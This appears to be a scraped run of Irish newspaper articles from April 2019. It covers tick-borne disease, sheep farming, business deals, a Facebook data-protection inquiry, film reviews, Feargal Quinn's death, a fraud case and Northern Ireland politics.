ticks off animals every day and pet owners pick ticks off their dogs every day. "Every farmer and forestry worker in Ireland knows their animals are bitten by ticks and become sick with a variety of bacteria. "The sick animals suffer from tick-borne diseases such as Lyme disease, Borrelia, Anaplasma, Rickettsial infections and Babesia, which causes red water disease in cattle," he said. He explained that the HSE's Health Protection Surveillance Centre, HPSC, website describes Lyme disease, a tick-borne infection, as a rare disease in humans in Ireland, with ten cases reported annually, and it estimates there are 100 cases nationally. "However, a study from the blood bank in 1991 showed 9.75% of blood donors were positive for the Lyme disease antibody. This is not ten cases a year. An antibody means exposure or active infection. "This means almost 10% of over 4 million people, which is 400,000, have had a tick bite. "It is not a rare disease," he said. For more information on the disease visit ticktalkireland.org Lambing is now drawing to a close and it was a pretty success-free and easy lambing season for me. It wasn't without it problems, mistakes made, lessons learned, but a walk in the park compared to last year. The weather makes all the difference with lambing and when you can get away with lambing outside and get to turn out ewes and lambs quickly then sheep farming is a breeze. A few things I've noted this year is that I'll have to be a bit more ruthless when it comes to culling older ewes as generally these are the ones that cause the most problems. You need to keep the flock young and a 20-25pc culling rate is something you need to adhere to. The devastation of spring 2018 left me with a lot of ewes that picked up mastitis and I had to cull a lot of sheep that probably had a few more years in them. In hindsight, that is what made me hold on to a few more older ewes than I should have. Mastitis and prolapse are hard to detect in some ewes and I've found that notching a sheep's ear to indicate that she should not be kept in the flock is an effective way of making sure that they don't stay. With regard to prolapse in ewes, it will definitely happen again so even though the ewe might seem fine she'll give you the same torture next year. You don't need a computer or an electronic tag to tell you this. A simple notch on her ear will remind you next August or September than she has to go, marking her is a waste of time as it will either wash off or when they are shorn you won't know she had a problem and you end up keeping her. Grass tetany Grass tetany has raised its ugly head with a vengeance this year. I've lost seven ewes with it, and saved two. It's hard to get it in time. A friend of mine once said that the best diagnosis of grass tetany is a dead animal. Prevention as always is better than cure and I have scattered high magnesium buckets all over the place and I've been feeding the ewes an '18pc high magnesium nut' I got from McCauley's in Navan. This takes the pressure off them, but you just never know when they are safe. I've found that the risk of tetany usually subsides by the first week in May, you do nevertheless need to be vigilant. Over the next month as ewes and lambs finally settle, I'll gather them up and give them their first dose of the year against the 'nematodirus' worm. The Department issued warning that there was a hatch and with the fine weather you can be sure that the lambs will pick this up. This dose is really important, if you miss this dose the lambs just won't thrive and you'll miss out on the best grass of the year. The lambs will therefore be at a loss for it, as will you. Also, I'll treat them with some long-acting Clik to prevent flystrike, dag the ewes that are dirty, and kick on with the rest of the year. It's also really important, now that lambing is over to take a little break, before ploughing into the summer workload. When I visited my cousins in Argentina a few years ago, one saying that they have down there is that 'the eye of the farmer will fatten the lamb'. It means that a true farmer will immediately be able to gauge the health of his/her stock by looking at them and working with them and no amount of technology or equipment or staff will beat a farmer who has an eye to his own stock. EID tagging The EID tagging and its introduction to my mind has been extremely unfair on sheep farmers and to add insult to injury, it is now becoming apparent that the factories and marts do not have to install this equipment that will be able to read the tags. So, it serves absolutely no purpose whatsoever, other than to dump a pointless bill on farmers. I don't mind spending money but I hate wasting it, and that is what EID and its introduction, is to sheep farmers. It's hard to take Fine Gael seriously on this matter, but it seems the sheep farmer and the sheep industry is well down the pecking order so let's be honest, they don't care and don't want to know about it no matter how daft it gets. John Fagan farms in Gartlandstown, Co Westmeath BT is planning to exit the Irish market though a 400m (462m) sale of its BT Ireland unit, which provides services to corporate clients. The British multinational is understood to be inviting bids for BT Ireland as part of a wider exit from its Global Services international arm. The mooted sale was reported in the 'Daily Telegraph' in London. However, BT Ireland managing director Shay Walsh cast doubt on the story yesterday via social media. He told people not to "believe everything you read in the paper, especially when there is no source quoted". A spokeswoman for BT Ireland said it would not comment "on rumour or speculation". BT Ireland employed 608 people here according to its most recently filed accounts for the 12 months to the end of March 2018. It reported a profit of 34m on revenue of 425m for the period and paid a dividend in the year of 289m to its UK parent. The 'Daily Telegraph' in London reported that BT Ireland's underlying earnings of around 50m could attract bids in the 350m to 500m range from private equity players, as well as from pension funds. BT Ireland operates in five cities across the country, and has become synonymous with the Young Scientist & Technology Exhibition, an annual event it has been involved in for 17 years. The planned sale would break BT's 20-year tie with the market here, entered through a 2.58bn takeover of Denis O'Brien's Esat Telecom in 2000. In 2009 BT sold its Irish consumer and SME business to Vodafone in a 4.8m deal. The latest reported move from BT comes just months after Philip Jansen, the former chief executive officer of fintech firm Worldpay, took over the reins at the group last February. New structures to encourage the development of international financial services will include bringing the Central Bank into a new stakeholder engagement group with industry and see overall responsibility for promoting the sector shifting to the Department of Finance. A new strategy for the sector will be launched today by Michael D'Arcy, Minister of State with special responsibility for Financial Services and Insurance, and Finance Minister Paschal Donohoe. Ahead of the launch, Mr D'Arcy said growth of the industry had stalled following the financial crisis. "In the last decade we were just trying to keep the lights on," he said. The new strategy will mean a greater budget for the Department of Finance for its enhanced communications and promotions function. The Central Bank lost that role following the crash. The IDA does have a remit to bring in foreign direct investment, but has no role in developing indigenous firms. The new push will set out broad goals, including to encouraging indigenous and foreign firms to expand here, a regional spread and more streamlined interaction with both the sector and with legislation and regulation increasingly coming from European level, he said. But he declined to give a specific target for job creation or overall value targets. The Minister said complaints that the Central Bank here had failed to encourage banks and insurers leaving the UK as a result of Brexit - in contrast to some European peers - were wrong. "That wasn't the case. The Central Bank were certainly unwelcoming of companies trying to trade somewhere else but pretend they were here. "They weren't having any of that," he said. However, the new strategy includes a push for greater engagement by regulators with industry. "We want to establish a better structure with the Central Bank regulators and industry so we have agreed wording with the Central Bank that we will look at other eurozone countries and replicate what they do," he said. FALCON Oil & Gas has reported a loss of $1.3m (1.1m) for 2018. This is down from a loss of almost $4m (3.5m) the previous year, according to a trading update from the group. Falcon, which is concentrated in Northern Australia, had net cash of $6.9m (6.2m) at the end of the year. The Dublin-headquartered company has a joint venture with Origin Energy, operator of the Beetaloo licences, in Australia's Northern Territory. The programme involves the drilling and hydraulic testing of two horizontal wells. Earlier this year the group said Origin Energy had signed a rig contract with Ensign Australia to cover stage two of its 2019 drilling campaign. This will allow assessment of the liquid rich gas fairway targets in the Kyalla and Velkerri formations. Falcon's portfolio also includes projects in South Africa and Hungary. Belgian group Recticel has rejected Kingspans 700m offer for its insulation and flexible foams divisions. Recticel said the offer significantly underestimates the standalone value of the insulation and flexible foams businesses. The board of Recticel added that, were the deal to go through, it would render the company an unattractive proposition for shareholders and employees. In addition, it said it has concerns in relation to Kingspans back-to-back agreement with Austrian group Greiner for the foams business. Recticel added that it was approached by Kingspan in relation to a possible offer for the whole group at 10 per share earlier this year, but that it decided at the time not to further engage with Kingspan on this. However, the group said it remains open to engage with Kingspan to discuss a possible acquisition of all of the stock of Recticel. Kingspan responded to the news with a very brief statement saying it notes the statement from Recticel earlier today. We note the comments and views expressed and have nothing further to add. Flor O'Donoghue, analyst at Davy Stockbrokers, said it was "no great surprise" the offer had been rejected. "However, the door has not been slammed shut, although Kingspans reaction is that it has nothing further to add, " Mr Donoghue said. Recticel's flexible foam business had sales of 621.5m in 2018, while it reported earnings before interest, taxation, depreciation, and amortisation (ebitda) of 33m in the division. Meanwhile its insulation business, which Kingspan had intended to hold on to, had sales of 271.2m and ebitda of 44.7m for the year. Last year Kingspan - which is headed by CEO Gene Murtagh - spent 472.3m on acquisitions, including Synthesia Group, its first manufacturing presence in Southern Europe. In 2018, Kingspan generated record income of almost 4.4bn and trading profit was 445.2m for the year. Had the deal went through it would have tightened Kingspans grip on the European insulation market, adding Recticel's manufacturing units in Belgium, France, Britain and Slovenia. The data privacy watchdog has opened a new investigation into Facebook. Its probe will aim to uncover how millions of passwords were stored in insecure "plain text" format by the tech giant. It is the 11th statutory inquiry under way by the Irish Data Protection Commission (DPC) into Facebook or one of its subsidiaries. Under GDPR law, the DPC can fine Facebook up to 20m or 4pc of global turnover. "The Data Protection Commission was notified by Facebook that it had discovered that hundreds of millions of user passwords, relating to users of Facebook, Facebook Lite and Instagram, were stored by Facebook in plain text format in its internal servers," said a statement from the Irish DPC. "We have this week commenced a statutory inquiry in relation to this issue to determine whether Facebook has complied with its obligations under relevant provisions of the GDPR." Facebook initially underestimated the number of accounts affected and still claims the improperly stored passwords "were not internally abused or improperly accessed". Meanwhile, the DPC said in February that it expected to conclude the first of its investigations into the social media company's use of personal data this summer and the remainder by the end of the year. Facebook has said it expects to pay a fine of between $3bn (2.7bn) and 5bn to US authorities. The US Federal Trade Commission has been investigating revelations that Facebook inappropriately shared information belonging to 87 million of its users with the now-defunct British political consulting firm Cambridge Analytica. The probe has focused on whether the sharing of data and other disputes violated a 2011 agreement with the FTC to safeguard user privacy. Separately, Canada's federal privacy commissioner yesterday announced the results of a probe that found the company had committed serious contraventions of privacy law and failed to take responsibility for protecting the personal information of citizens. Amid the investigations for data problems, Facebook is currently trying to push ahead with attempts to let people send messages between Facebook, WhatsApp and Instagram. "We plan to start by making it possible for you to send messages to your contacts using any of our services, and then to extend that interoperability to SMS too," said boss Mark Zuckerberg in a recent memo. "Of course, this would be opt-in and you will be able to keep your accounts separate if you'd like." However, Irish Data Protection Commissioner Helen Dixon recently told the Irish Independent Facebook doesn't yet have the clearance to do it. The Irish data watchdog has also denied accusations in the online 'Politico Europe' publication that it has been too lax on tech multinational firms here. German hopes of creating a national banking champion able to challenge global competitors were dashed yesterday when Deutsche Bank and Commerzbank ended merger talks due to the risks of doing a deal, restructuring costs and capital demands. Germany's two largest banks announced that nearly six weeks of high-level negotiations about a tie-up had ended in failure, confirming an earlier Reuters report and immediately raising questions about the future of the Frankfurt-based rivals. The decision to ditch the talks followed a final early morning meeting between Deutsche Bank CEO Christian Sewing and his Commerzbank counterpart Martin Zielke, two sources told Reuters. Both CEOs said a deal would not have created sufficient benefits to offset the risks and costs of a merger, which had been opposed by unions fearing 30,000 job losses, and raised concerns among investors and regulators. While the talks are over, investors doubt either bank can go it alone for long under their current strategies given their low levels of profitability. Government officials, led by Finance Minister Olaf Scholz, had pushed for a tie-up to create a national banking champion and end questions over the future of both banks. Shares in Commerzbank were 2.1pc lower by early afternoon. Deutsche Bank traded 0.3pc lower, erasing earlier gains. Deutsche Bank will now face pressure to make more radical changes, such as cuts to its US investment bank as advocated by regulators and some major investors. It is already looking at a deal for asset management unit DWS. "Deutsche Bank will continue to review all alternatives," Germany's largest bank said. UniCredit and ING have expressed interest in buying Commerzbank. Reuters Charlize Theron has said she relished playing a US senator in forthcoming film Long Shot because it offered a counterpoint to her usually hyper-violent starring roles. The Hollywood actress, 43, is best known for playing tough-as-nails parts like Imperator Furiosa in Mad Max: Fury Road and MI6 spy Lorraine Broughton in Cold War thriller Atomic Blonde. But in Long Shot, a comedy with Seth Rogen centred on a US presidential bid, Theron plays politician Charlotte Field, a role she said felt more grounded and authentic to who I am. Expand Close Charlize Theron and Long Shot co-star Seth Rogen on the Graham Norton Show (Isabel Infantes/PA) / Facebook Twitter Email Whatsapp Charlize Theron and Long Shot co-star Seth Rogen on the Graham Norton Show (Isabel Infantes/PA) Speaking on the Graham Norton Show, she said: The thought of working with Seth felt like a great opportunity because usually I play a bitch, I kill people, or I get killed. I never thought I would be in a genre like this so its really nice at this point in my career to feel grounded and authentic to who I am as a person and an actor. Rogen also revealed they had been forced to cut a scene which involved Theron singing because she had sounded so bad. I cant sing. It is really terrible, she said. Theron, who is South African, spoke of the challenges she faced teaching her children about the nations history of Apartheid. Expand Close Theron and Rogen at the premiere of Long Shot (Matt Crossick/PA) / Facebook Twitter Email Whatsapp Theron and Rogen at the premiere of Long Shot (Matt Crossick/PA) Video of the Day She said: I have taught them a little Afrikaans, but its a language filled with very conflicted history. I am raising two beautiful proud black African girls and I want them to find themselves and not necessarily push my ancestry on them, but I have taught them two very sweet Afrikaans songs about politeness. Theron made headlines when she announced earlier this month that she was raising her first child as a girl after first introducing her to the world as a boy. She said seven-year-old Jackson one of her two adopted children was three when the youngster told her: I am not a boy, prompting her to begin raising two beautiful daughters. About two hours into Endgame, as sundry beefed-up superheroes and villains prepared to batter the tar out of one another again, I found myself yearning for whatever is the cinematic opposite of this bold, bright, thundering item of thermonuclear Hollywood nonsense. One of those black and white Italian films of the 1960s perhaps, by Michelangelo Antonioni or someone similarly ponderous, in which everyone looks depressed and beautiful and nothing much ever happens. I was yearning, dear reader, for peace, inconsequence: then I realised I still had an hour to go. The makers of Avengers: Endgame will argue, with some justification, that three hours and one minute was barely enough time to sort out all the various dangling plot lines built up over the course of the three Avengers films and 18 related spin-offs that have preceded this concluding instalment. Because while there will of course be more Marvel films, this, we are promised, is the last we'll hear from the supergroup involving Thor, Iron Man, Hulk and Captain America. At the end of Avengers: Infinity War, Thanos (Josh Brolin), a supervillain so grandly nihilistic that Adolf Hitler might have taken his correspondence course, had unleashed his ghastly master plan. Using the massed power of six infinity stones, Thanos wiped out half of all life across the universe, including some of the Avengers' nearest and dearest - Drax, Quill, Stephen Strange, Peter Parker, T'Challa, Groot, Mantis, Nick Fury. The worst has happened, and following a brief and botched revenge mission, the Avengers sunder amid sulks and recriminations. And that, it seems, is that. It's not of course (there's still two-and-a-half hours to go for God's sake!) and five years later, Scott Lang, aka Ant-Man (Paul Rudd), emerges from the quantum realm with a headache, and a bright idea. Though he's been missing for years, and was a presumed victim of Thanos' cull, Scott has experienced his absence as a matter of a few hours. If a person, he reasons, could use this quantum realm as a medium for time travel, the infinity stones could be quickly gathered in the past and used to undo all the damage. What now?, most of the remaining Avengers mutter, but Tony Stark (Robert Downey Jr) understands, and dreams up a natty wristwatch-sized gismo that will allow the heroes to flitter back in time to grab the stones before Thanos does. They'll have to do that simultaneously in several different time zones, and are not in the best of shape. Tony is terrified that in changing the past, he'll lose his young daughter, Hawkeye (Jeremy Renner) has become a vengeful mercenary following the loss of his family, and Bruce Banner (Mark Ruffalo) has managed to reconcile his split personality and become a worryingly urbane version of the Hulk. As for Thor (Chris Hemsworth), well he's just a mess and one of the film's funniest scenes is when Hulk and Ant-Man track him down on the Scandinavian coast. Meanwhile, Black Widow (Scarlett Johansson) has a bad feeling about the whole thing, and may have a point. In attempting to make sense of all this, directors Joe and Anthony Russo, and their writers, have set themselves a headache of a challenge. They certainly gave me one, especially once the time-travelling kicks off and heroes start bumping into their earlier selves and creating chronological quandaries I hadn't the wit to test the veracity of. There's much to enjoy in there, especially early on in Endgame's soulful establishing scenes. At this stage, the jokes are sharp, and Downey Jr, Ruffalo and Hemsworth know just what to do with them, as indeed does Rudd, whose contribution here is as winning as ever. Back in 2008, it must have seemed like a good idea to cast Gwyneth Paltrow as Tony Stark's prissy love Pepper Potts. Now they're stuck with her, and she shuffles around the edges of this film looking smug and I-told-you-so-ish. At least there's not much of her, but there's so, so much of everything else. And at the two-hour mark, competing storylines collapse into a deafening, semi-coherent whole as the inevitable last battle kicks off. There's a frantic busyness to the whole thing that wearied me, but may well delight Marvel nuts - and possibly even you. I staggered from the cinema blinking, bewildered, in desperate need of Italian neorealism. Video of the Day Films coming soon... Tolkien (Nicholas Hoult, Lily Collins, Derek Jacobi, Colm Meaney); Long Shot (Seth Rogen, Charlize Theron, Andy Serkis); The Curse Of La Llorona (Linda Cardellini, Patricia Velasquez); Vox Lux (Natalie Portman, Jude Law, Jennifer Ehle). The critics: Your guide to movies, music and more... The Dig (15A, 97mins) Bogs feature heavily in Ryan and Andy Tohill's rural thriller. Much of the action revolves around the search for a body in a windblown stretch of peat and, at one point, the main character spends a night in a bog hole - you can't get much more Irish than that. He is Callaghan (Moe Dunford), a loner who returns to his abandoned family home after a stretch in prison. The locals think he killed a woman, whose body her father (Lorcan Cranitch) has vowed to find. And when Callaghan starts helping him dig for it, a Beckettian stand-off ensues. The Dig is a spare and handsome thriller, and only loses its way slightly at the very end. Ash Is Purest White (No Cert, IFI, 150mins) You can't fault the ambition of Jia Zhangke's brooding Chinese epic, which uses the gangster genre to explore the dizzying changes that country has experienced. In 2001, Bin (Liao Fan) is an up-and-coming hoodlum in the northern city of Datong, but when he's attacked by rivals, his girlfriend Qiao (Zhao Tao) fires a gun to scare them off. Qiao is sent to jail and emerges seven years later to find her country and circumstances greatly changed. Through Qiao's eyes, we see the giddy speed with which China rushed towards laissez faire consumerism, and witness the depressing consequences. An enthralling film. Donbass (No Cert, IFI, 110mins) Winner of the Un Certain Regard award at Cannes, Sergei Loznitsa's angry drama is inspired by the war that broke out in 2014 between the Ukraine and Russian-backed insurgents. Actors grumble and gossip as they're made up for a scene in what seems like a war film. But as they're led across a scarily realistic-looking combat zone, we realise they're taking part in a carefully crafted piece of fake news. And once their work is done, the actors become eminently expendable. Corrupt officials and vicious ultra-nationalists abound in this furious, funny, absurd film, which casts a caustic gaze on a senseless ongoing war. Dead crows have been left hanging outside the home of Chris Packham after he backed a legal challenge which resulted in restrictions on shooting pest birds. The BBC Springwatch presenter said on Thursday that he had contacted police following the incident. Expand Close TV presenter and wildlife campaigner Chris Packham (Dominic Lipinski/PA) / Facebook Twitter Email Whatsapp TV presenter and wildlife campaigner Chris Packham (Dominic Lipinski/PA) Mr Packham was part of an action which resulted in Natural England revoking three general licences which allowed the shooting of 16 species of bird, including crows, magpies, Canada geese and feral and wood pigeons. The legal challenge was brought by Wild Justice, which includes wildlife campaigners Dr Mark Avery and Dr Ruth Tingay, as well as Mr Packham. The move provoked a backlash from farmers groups and others. A Change.org petition calling on the BBC to sack Chris Packham had received more than 70,000 signatures by Thursday afternoon. Mr Packham tweeted a picture of the crows, adding: This was my gate this morning (it was vandalised) @HantsPolice & lawyers have been informed . So @BASCnews @NFUtweets @CAupdates @FarmersWeekly @Gameandwildlife @NaturalEngland can I ask you to comment on whether you condone this . Serious request replies expected . This was my gate this morning (it was vandalised) @HantsPolice & lawyers have been informed . So @BASCnews @NFUtweets @CAupdates @FarmersWeekly @Gameandwildlife @NaturalEngland can I ask you to comment on whether you condone this . Serious request - replies expected . Please RT pic.twitter.com/8sVDyn4bSW Chris Packham (@ChrisGPackham) April 25, 2019 Video of the Day The BASC (British Association for Shooting and Conservation) responded: We absolutely condemn such behaviour @ChrisPackham. We are clear there is no place for illegality in the countryside. Will you also condemn the illegal behaviour of those who target legitimate rural businesses, such as those who release pheasants from game farms? Natural England also tweeted: Hello @ChrisGPackham of course we dont condone this type of behaviour, its never justified no matter how strongly people feel about an issue. Hello @ChrisGPackham - of course we don't condone this type of behaviour, it's never justified no matter how strongly people feel about an issue. https://t.co/O3D2ZthJul Natural England (@NaturalEngland) April 25, 2019 Announcing the decision to revoke the general shooting licences, Natural England said it would look to bring in alternative measures over the coming weeks to allow the lawful shooting of the bird species to continue. It said that, until then, those wanting to kill the birds where there is no reasonable non-lethal alternative will have to apply for an individual licence. In a statement, the government body said: The change follows a legal challenge to the way the licences have been issued, which could mean users who rely on them are not acting lawfully. Natural England is working at pace to put in place over the next few weeks alternative measures to allow lawful control of these bird species to continue where necessary. In the meantime, once the licences have been revoked and until new licences are issued, anyone needing to control one of these 16 bird species where there is no reasonable non-lethal alternative will need to apply for an individual licence. The ban has been criticised by members of the British Game Alliance and many farmers, who say that pigeons need to be controlled in order to protect crops. Tom Adams, the managing director of the British Game Alliance, said: The pigeon sector is relied on by game processing businesses to keep them going through the closed season of the spring and summer when no game birds like grouse and pheasant can be shot. Hundreds of jobs are at severe risk if a solution isnt found. But Wild Justice, which was launched in February, said: What sort of world is it where the statutory body with responsibility for wildlife protection is operating a bird-killing licensing scheme that is unlawful? Millions of birds are killed each year under the terms of the General Licences and many of these deaths will not be justified. We are grateful to over 1,100 individuals who funded this legal challenge and allowed us to take it with the means to progress it through the courts. On its website, Wild Justice explained how the legal challenge was based around the idea that Natural England could not be satisfied that the conditions needed for the 16 bird species to be legally killed had been met. Hampshire Police confirmed it had received a report of criminal damage to a property in Marchwood. It said the incident took place between 8pm on Wednesday and 6.50am on Thursday. Anyone with any information was urged to call police on 101 quoting 44190141581. Responding to the petition for the presenter to be sacked, a BBC spokesman said: Chris Packham is an established and respected naturalist in his own right and is not solely employed by the BBC. He may express personal views outside of his employment on BBC natural history programmes. At home: Feargal Quinn was a family man, with five children and 19 grand-children. Photo: Martin Maher Businessman and former senator Feargal Quinn has been remembered as a "caring father" and "ebullient businessman" following his death. Mr Quinn passed away aged 82, following a short illness, and is survived by his wife Denise Quinn, their five children and 19 grandchildren. In a short statement yesterday, the Quinn family said he had passed away peacefully at home in Howth, Co Dublin. "First and foremost Feargal was a loving and caring husband, father, grandfather, and brother. "To everyone else who knew him, he was an ebullient businessman, entrepreneur, innovator and former senator," the family said. He is best known for founding the Superquinn chain, which pioneered new levels of customer service and innovation in the Irish retail sector and which he successfully sold to a consortium of investors for 420m in 2005. Superquinn was subsequently bought by the Musgrave family's SuperValu chain. As well as work in the private sector, Mr Quinn was active in the public sector on numerous boards, including as chairman of An Post until 1989. He was elected to the Senate on the National University of Ireland panel and served as an independent senator from 1993 to 2016, where he was recognised as a strong voice for the national business community. Mr Quinn was born in Dublin in 1936, into a family with its roots in Newry. Former Labour Party leader and cabinet minister Ruairi Quinn and businessman Lochlann Quinn were cousins. His father Eamonn established a grocery business Payantake, and later the Red Island holiday resort in Skerries, Co Dublin. Mr Quinn was educated in Newbridge College, and studied Commerce at University College Dublin. After working in France in his youth, he founded the Superquinn chain aged just 23 and built it into one of the country's biggest grocery chains. He carved out a niche with innovations like loyalty cards and self-scanning, coupled with famously high levels of customer service and stand-out products - including in-store bakeries and the famous Superquinn pork sausages that proved so popular the brand has been retained by SuperValu. In his media work he was an enthusiastic supporter of emerging businesses, including a regular advice column with the Irish Independent and as the presenter of RTE's 'Retail Therapy'. He continued to work for the Irish Independent right up to this week, with his latest column appearing yesterday. Fionnan Sheahan, editor of the Irish Independent, described Mr Quinn as "a true advocate for the consumer". "Feargal Quinn's legacy will be his emphasis on putting the needs of the customer front and centre in business decisions. "His personal approach raised the bar which other retailers followed," Mr Sheahan said. President Michael D Higgins has spoken about Mr Quinn's commercial and political contributions. He said: "Feargal was a gifted entrepreneur, whose vision of customer service and innovation transformed the landscape of the retail trade in Ireland over many decades." His funeral will take place tomorrow at St Fintan's Church in Sutton at 10am. The grounding of the Boeing 737 Max 8 aircraft fleet now threatens to deprive Cork and Shannon of their direct Norwegian Airlines routes to the US for the entire summer season. Ryanair - which has an order in place for 135 of the next-generation Boeing aircraft in its Max 200 version - may also be unable to introduce the plane into service before late August. The Irish airline was scheduled to accept five 737-Max 200s, a modified version of the Max 8, by June with a further 50 scheduled for delivery before the start of the 2020 season. Ryanair insisted its schedules would be unaffected by the grounding as its network continues to be fully operated by its fleet of 400 Boeing 737-800 series aircraft. Ireland South MEP Deirdre Clune stressed that while all necessary safety measures should be implemented for passenger well-being, she urged airlines such as Norwegian to do everything possible to restore their critical US routes from Cork and Shannon. Norwegian has maintained its direct US services from Dublin thanks to a replacement aircraft. However, passengers booked with Norwegian to fly from Cork and Shannon to the US have been offered a bus service to Dublin for onward flights or a full refund. "I believe the measures that have been taken by Norwegian are necessary to ensure the safety of passengers," Ms Clune said. "However, passengers travelling on transatlantic flights from Cork and Shannon must be taken care of while the flights are not in operation from these airports." The entire global fleet of the Boeing 737 Max was grounded following a fatal crash in Ethiopia on March 10 just minutes after the plane had taken off. Irish national Michael Ryan (39), a father of two and an engineer with the UN food programme, was among the 157 people who died. It was the second fatal accident involving the jet in five months after another crashed into the sea off Indonesia last October. Daniel Belling pictured arriving at court, where he is facing charges of theft and fraud. Picture; Gerry Mooney A FATHER-of-two whose wife disappeared from a cruise ship while they were on holiday is facing trial accused of mortgage fraud offences. Daniel Belling (47) had the case against him adjourned for the preparation of a book of evidence when he appeared in Dublin District Court today. He is accused of deception over a 112,000 mortgage application and six charges of using false documents. The offences are alleged to have happened at four different financial institutions on dates between 2013 and 2015. Mr Belling, a computer programmer and German national with an address at Kilkee House, Clare Village in north Dublin, was remanded on continuing bail. Expand Close Daniel Belling pictured arriving at court 26/04/2019. Picture; Gerry Mooney / Facebook Twitter Email Whatsapp Daniel Belling pictured arriving at court 26/04/2019. Picture; Gerry Mooney He is accused of deception over the provision of a 112,500 mortgage loan, with the intention of making gain or causing loss to another at Bank of Ireland Mortgages, New Century House, IFSC, Mayor Street Lower on March 13, 2014. He is also charged with a further six counts of using false instruments in order of deceive. These are payslips, a P60, bank statements and a German ID card with a false date of birth. One of those offences allegedly took place at Bank of Ireland, Burnell Green, Malahide Road on July 1, 2013. He is charged with the same offence at Bank of Ireland in Coolock Village on August 26, 2013, December 17, 2014 and January 19 and 27, 2015. A further false instrument charge relates to KBC Bank, Main Street, Swords on October 10, 2014. When his case came before Judge Mary Dorgan, Garda Sergeant Paul Keane handed evidence of Mr Bellings arrest charge and caution in to court by way of certificate. He said a copy of a summary of evidence had been served on the accuseds solicitor. The Director of Public Prosecutions had directed trial on indictment and sought a six-week adjournment for the preparation of a book of evidence. The case will be sent forward to Dublin Circuit Criminal Court when the book is ready. The judge asked what the situation was regarding bail. Mr Belling was on bail granted at a garda station when he was charged, his solicitor said. He applied for free legal aid, handing a statement of Mr Bellings financial means into court. The judge granted legal aid and remanded the defendant on continuing bail, to appear in court on June 7. The accused, wearing a red and black check shirt, black trousers and holding a dark coat, came forward when his case was called and was not required to address the court during the brief hearing. He has not yet indicated how he intends to plead to the charges, which are under the Theft and Fraud Offences Act. Mr Bellings wife Xing Li went missing while the couple and their children were on a Mediterranean cruise in 2017. Ms Li, also known as Angie, has not been seen since February 10 that year. The family boarded the cruise ship MSC Magnifica in the Italian port of Civitavecchia on February 9. After the ship set sail, it called at Genoa and ports in Malta, Greece and Cyprus. Crew members noticed Xing Li was missing when they did a head count at the end of the cruise. Mr Belling and his children have since returned to Ireland. Northern Irelands politicians are to finally hold talks about working together amid accusations they are betraying Lyra McKees legacy. The leaders of the DUP and Sinn Fein spent the 24 hours after the young journalists memorial service slinging insults across the airwaves. Sinn Fein leader Mary Lou McDonald said she would not capitulate on her key demands for power-sharing, while the DUPs Arlene Foster claimed her rivals were looking for a 5-0 victory. Behind the scenes, the British and Irish governments are working desperately to open a line of civil communication between the two parties. Sources said trust levels were very low and a major breakthrough was not imminent. Fianna Fail leader Micheal Martin said the attitude being adopted by Sinn Fein was unforgivable. It is increasingly clear that the public want the return of working politics, but Mary Lou McDonalds performance demonstrates that the needs of the public continue to be secondary to the political strategy and internal direction of the Sinn Fein organisation, he told the Irish Independent. Pressed yesterday as to whether Sinn Fein was willing to compromise on the issue of a standalone Irish act in a bid to resolve the impasse, Ms McDonald replied: If youre asking me are we going to capitulate on behalf of citizens in the North to people who wish to hold back progress in every form, to people who do not wish to make room for others in an open democratic society, then the answer to that is no. We will not capitulate on that. Ms Foster replied by suggesting schools and hospitals are more important than the Irish language. It is now more than 800 days since Stormont has functioned but there were hopes the words of Fr Martin Magill at the funeral of Ms McKee on Wednesday would spark the politicians into action after many months without serious consultations. Fr Magill's plea for the leaders to get back to work has made headlines around the world, including in the US and Australia. Addressing the leaders, he asked: "Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get us to this point?" Read More Both the Sinn Fein and DUP said yesterday they want to get the Assembly back up and running - but neither budged an inch from their entrenched positions. Sinn Fein is demanding an Irish language act and new equality laws. The DUP, which opposes a standalone Irish act and same-sex marriage, says these issues should be discussed in a forum outside of the Assembly. Ms McDonald said the cleric's message "hit the nail on the head". "He articulated in the clearest and most uncompromising way the fact that politicians, myself included, need to roll up our sleeves and we need to get cracking," she said. However, the Dublin Central TD repeatedly refused to give any ground on the red lines being set down by her party for a return to power-sharing. "There is nothing trivial in a society that's has been fractured by conflict, in a society where we need sustainable power-sharing, there's nothing trivial at all on insisting on equality and rights for every citizen," she said. "We stand by the Good Friday Agreement and we are not going to resile from that position," she said. Ms Foster accused her counterpart of putting Sinn Fein demands "above the demands of the people of Northern Ireland". "They are demands for a better healthcare system, they want their schools reformed, they want their infrastructure done," she said. Amid the unseemly conflict, pressure has mounted on the two women from other political parties on the island. Tanaiste Simon Coveney and the British Secretary of State for the North Karen Bradley have been in frequent contact with key figures since the memorial service. Despite concerns about the public disagreements, they will travel to Belfast this afternoon to finalise details for exploratory talks. The situation is further complicated by the fact local elections take place in Northern Ireland next Thursday. Any discussions involving all of the North's parties will not commence until after polling. Fianna Fail leader Micheal Martin told the Irish Independent that Sinn Fein's reasons for collapsing the Assembly in January 2017 were "bogus". "Difficulties should be dealt with by a parliament, not by collapsing that parliament and creating a political vacuum," he said. "In addition, the fact that the North has been without any political leadership or representation during the Brexit crisis is unforgivable." The Labour Party has now put forward the idea of copying the Citizens' Assembly model used in the Republic as a way of having marriage, language and abortion rights debated in the North. Labour Party leader Brendan Howlin said a "silent majority" in Northern Ireland wanted to liberalise social laws. "One solution would be to allow the voices of the silent majority to be heard. "Citizens' assemblies are democratic," he said. "They have worked around the world, by giving a random selection of citizens the time and access to expertise to discuss and reflect on complex issues before making recommendations." Mr Howlin said it was now "time for elected members [of Stormont] to turn up". Secondary school teachers will seek a change in the rules around bereavement leave, arguing their current arrangements fall well behind what is allowed in the civil service. Teachers who lose a spouse, partner, child, or parent are allowed five days' consecutive leave, including a Saturday and Sunday, if that is the way it falls. But the annual conference of the Association of Secondary Teachers Ireland (ASTI) heard that civil servants may take 20 days' leave for similar family bereavements. A motion adopted by the conference calls for an extension from five to seven days, so that teachers would have five working days off. Proposing the motion, Drogheda delegate Dave Carolan said that his father died on a Wednesday, which meant that, under the terms of the circular, he was expected to be back at work the following Monday. He said that "luckily, because of my school, this was not an issue". He said that teaching was a highly relational job, involving communication with about 200 students a day and there is no space in the school day to be "vulnerable". Mr Carolan said this period of grieving should not be consumed with a worry of having to return to work and "prepare a face". Sean Maher, also of the Drogheda branch, told of a colleague who had to use force majeure and uncertified sick leave to grieve properly "because her father died on an 'inconvenient day' - in other words, not a Sunday - which meant she did not have five working days off." He said teachers try to support grieving colleagues by using any free class periods they have to take their classes, but this was getting more and more difficult due to other work such as meetings, and supervision and substitution duties. Feargal Quinn 